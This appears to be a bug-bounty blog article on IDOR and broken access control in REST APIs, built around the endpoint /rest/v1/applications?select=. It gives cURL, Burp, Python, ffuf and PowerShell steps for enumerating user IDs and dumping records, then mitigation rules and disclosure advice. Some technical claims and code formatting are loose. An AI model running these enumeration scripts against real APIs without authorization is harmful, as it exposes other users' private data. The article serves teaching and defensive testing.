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Introduction:
Broken Access Control, particularly Insecure Direct Object References (IDOR), remains the most critical API vulnerability according to the OWASP Top 10. Attackers exploit poorly implemented authorization checks by manipulating object identifiers in API requests—such as changing a user ID or omitting a select parameter—to access data belonging to other users. The recent tip shared by Cywer Learning highlights a real‑world example: GET /rest/v1/applications?select=—a simple call that, if left unprotected, can dump all application records from a database.
Learning Objectives:
- Understand how IDOR vulnerabilities manifest in REST APIs and why parameter manipulation works.
- Learn manual exploitation techniques using cURL, Burp Suite, and custom Python scripts.
- Implement effective mitigation strategies including secure access control models and API hardening on cloud platforms.
You Should Know:
- Understanding IDOR and Broken Access Control – Parameter Manipulation 101
IDOR occurs when an application exposes internal object references (e.g.,user_id=123,file_id=456, or a database record viaselect=) and fails to verify that the requesting user is authorized to access that specific object. Broken access control is broader but IDOR is its most common expression in APIs.
How it works:
The endpoint `/rest/v1/applications?select=` likely returns all application records if the back‑end does not enforce a filter like WHERE user_id = current_user_id. An attacker simply removes any limiting parameter or changes a numeric ID.
Step‑by‑step guide:
- Identify an API endpoint that returns a list of resources (e.g.,
applications,users,orders). - Look for parameters that specify which resource to fetch –
id,uid,select,filter,include. - Change the value to another valid identifier (increment/decrement numeric IDs, try “ or
all). - Observe if the response contains data you should not have access to.
- Validate by trying another user’s known resource (if you have two accounts).
-
Exploiting the Given API Endpoint – Hands‑on with cURL
The example `GET /rest/v1/applications?select=` is a classic IDOR vector. The `select=` parameter tells the database to return all columns from the applications table. Without proper row‑level security, the API returns every application stored.
Linux / macOS / Windows (using cURL):
Basic request (replace target.com with the actual domain)
curl -X GET "https://target.com/rest/v1/applications?select=" \
-H "Authorization: Bearer YOUR_TOKEN" \
-H "Content-Type: application/json"
If the API accepts cookies (session-based)
curl -X GET "https://target.com/rest/v1/applications?select=" \
-H "Cookie: sessionid=YOUR_SESSION"
For Windows PowerShell equivalent
Invoke-WebRequest -Uri "https://target.com/rest/v1/applications?select=" -Headers @{"Authorization"="Bearer YOUR_TOKEN"}
What this does:
The `select=` bypasses any implicit filtering that the developer might have intended (e.g., `select=id,name` but missing a `WHERE` clause). Many vulnerable APIs use Object Relational Mapping (ORM) frameworks where user‑controlled input is directly concatenated into SQL queries or database filter options.
How to use it for bug hunting:
- Capture the API request in Burp Suite while browsing the application.
- Manually modify the parameter to `select=` or
select=id,email,ssn,credit_card. - Send the request to Repeater and observe the response length – a large response indicates data leakage.
- Try path traversal variations:
../applications,?select=&limit=9999.
- Manual Testing Techniques – Burp Suite and Browser DevTools
Manual testing remains the most reliable way to find IDOR. Burp Suite’s intruder and comparer can automate parameter fuzzing, but understanding the logic is key.
Step‑by‑step using Burp Suite Community Edition:
- Proxy traffic through Burp and navigate to a page that lists resources (e.g., “My Applications”).
- Find the API call in the HTTP history – look for
GET /api/v1/applications?user_id=123. - Right‑click → Send to Repeater. Change `user_id=123` to `user_id=124` and send.
- If the response contains another user’s data, you have a valid IDOR.
- For the `select=` example, change any `fields=name,email` to `select=` or
fields=. - Use Burp Intruder with a payload list of numbers (1‑1000) to find accessible records.
Browser DevTools (for debugging JavaScript‑heavy apps):
- Open DevTools → Network tab → Fetch/XHR.
- Find the request, right‑click → Copy as cURL.
- Paste into a terminal and modify parameters.
- Automating IDOR Discovery – Python Script and ffuf
For large‑scale bug bounties, automation helps. Use a simple Python script to iterate over IDs and compare responses.
Linux/macOS (Python 3):
import requests
import sys
url_template = "https://target.com/rest/v1/applications?user_id={}"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
for user_id in range(1, 101): scan IDs 1 to 100
url = url_template.format(user_id)
response = requests.get(url, headers=headers)
if response.status_code == 200 and '"error"' not in response.text.lower():
print(f"[!] Accessible: {url} -> Length {len(response.text)}")
Optionally save the response
with open(f"idor_{user_id}.json", "w") as f:
f.write(response.text)
Using ffuf (fast web fuzzer):
ffuf -u "https://target.com/rest/v1/applications?user_id=FUZZ" \ -w ids.txt \ -H "Authorization: Bearer YOUR_TOKEN" \ -fc 403,404
Windows alternative (PowerShell + Invoke‑RestMethod):
1..100 | ForEach-Object {
$url = "https://target.com/rest/v1/applications?user_id=$_"
try {
$response = Invoke-RestMethod -Uri $url -Headers @{Authorization="Bearer YOUR_TOKEN"}
Write-Host "Accessible ID: $_" -ForegroundColor Green
} catch {
ignore 403/404
}
}
- Mitigation Strategies – Secure Coding and Access Controls
Fixing IDOR requires server‑side authorization checks, not reliance on unguessable IDs or front‑end hiding.
Step‑by‑step mitigation:
- Never trust user input: Treat all parameters (including
select=) as untrusted. - Implement object‑level access control: For every API call that fetches a resource, verify `current_user` has permission to access
requested_object_id. - Use indirect references: Map internal database IDs to random, single‑use tokens (e.g., UUIDs or a lookup table). However, this is not a complete fix – authorization must still be enforced.
- Avoid exposing `select=` – Instead, use a whitelist of allowed fields on the server side.
- Employ an API gateway / OPA (Open Policy Agent): Centralize authorization policies. Example Rego policy:
package api.authz default allow = false allow { input.method == "GET" input.path = ["rest", "v1", "applications"] input.user_id == input.token.user_id only allow own data } - Test with negative test cases: In CI/CD, run automated tests that attempt IDOR using two different user accounts.
-
Advanced API Security Hardening – Cloud and WAF Configurations
When deploying APIs on AWS, Azure, or GCP, additional layers can reduce IDOR risk.
AWS – Using IAM and Cognito:
- Attach a policy that forces API Gateway to pass the Cognito user ID as a context variable.
- In Lambda, compare `event.requestContext.authorizer.claims.sub` with the resource owner ID.
Example AWS WAF rule to detect `select=` anomalies:
{
"Name": "BlockSelectStar",
"Priority": 10,
"Action": { "Block": {} },
"VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true },
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "QueryString": {} },
"PositionalConstraint": "CONTAINS",
"SearchString": "select=",
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }]
}
}
}
Azure API Management – validate request content:
Use a policy to reject requests containing `select=` unless coming from an admin IP range.
Linux hardening for the API server:
- Run API processes under a dedicated low‑privilege user.
- Use AppArmor or SELinux to restrict database access.
- Implement rate limiting with `fail2ban` or `iptables` to block brute‑force IDOR scanning:
sudo iptables -A INPUT -p tcp --dport 443 -m hashlimit --hashlimit-name IDOR_SCAN \ --hashlimit-above 60/minute --hashlimit-burst 10 -j DROP
- Reporting and Responsible Disclosure – What Bug Hunters Should Do
Once you discover an IDOR, proper disclosure is critical. The post credit “thierry sir” reminds us to give attribution.
Step‑by‑step reporting:
- Document the proof of concept (PoC): Save the exact request/response (use Burp’s “Save item”).
- Demonstrate impact: Show that you can access another user’s sensitive data (e.g., email, application details). Redact any real PII before sharing.
3. Write a clear report:
- “IDOR in `/rest/v1/applications?select=` allows viewing all applications”
- Steps to reproduce: authenticated request with modified parameter.
- Impact: complete data breach of all application records.
- Use secure channels: Never post raw exploits on public LinkedIn comments. Instead, follow the company’s bug bounty program or security contact.
- Join training courses: The link from Cywer Learning – https://lnkd.in/gGtPUZVS – likely offers hands‑on labs for IDOR and API security. Always credit the original source as shown (
Credit :- thierry sir).
What Undercode Say:
- Key Takeaway 1: One unsanitized parameter (
select=) can turn a legitimate endpoint into a data sieve. Always assume that any parameter controlling data selection is an attack vector. - Key Takeaway 2: Manual API testing with cURL and Burp Suite remains the most effective method for IDOR discovery, but automation (Python/ffuf) scales your effort across thousands of endpoints.
Analysis: The shared tip underscores a recurring pattern in bug bounties: developers often implement authentication (who you are) but forget authorization (what you can do). The example `GET /rest/v1/applications?select=` is particularly dangerous because it leverages database flexibility directly exposed by ORM frameworks like Hibernate or Entity Framework. Even major platforms have paid out bounties for identical flaws. Organizations should shift to “deny by default” access control models and conduct automated negative‑testing in CI/CD. For hunters, mastering IDOR today remains one of the highest‑ROI skills.
Prediction:
As AI‑powered code assistants (Copilot, Cursor) generate more API boilerplate, we will see a resurgence of classic IDOR vulnerabilities – because LLMs often reproduce insecure patterns from training data. Automated scanners will improve, but logic‑based IDOR (e.g., horizontal escalation via modified `select` clauses) will remain a human‑dominant finding. Over the next two years, expect bug bounty platforms to raise rewards for IDOR affecting microservices, especially those using GraphQL where `__typename` and `fields` enumeration mimic select=. Mitigation will shift toward policy‑as‑code tools like OPA and Cedar, but thousands of legacy APIs will stay exposed until they are retired.
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